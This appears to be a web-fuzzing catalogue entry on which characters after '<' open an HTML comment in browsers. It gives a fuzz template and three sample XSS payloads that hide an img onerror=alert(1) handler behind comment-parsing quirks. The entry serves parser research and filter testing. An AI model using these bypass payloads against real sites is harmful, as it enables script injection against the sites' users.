Characters that can start an HTML comment

This vector shows which characters can be used after the "<" character and act as an HTML comment

Fuzzer

Created by0x999-x

Created Jul 18, 2024

Updated May 28, 2025

Detecting browser...

CategoryHTML Parsing

VisibilityPublic

TypeHTML

CharsetUTF-8

Template used:

<$[chr] <a/b="--><found>"

Sample payloads

<! <a/b="--><img/src/onerror=alert(1)>"

</ <a/b="--><img/src/onerror=alert(1)>"

<? <a/b="--><img/src/onerror=alert(1)>"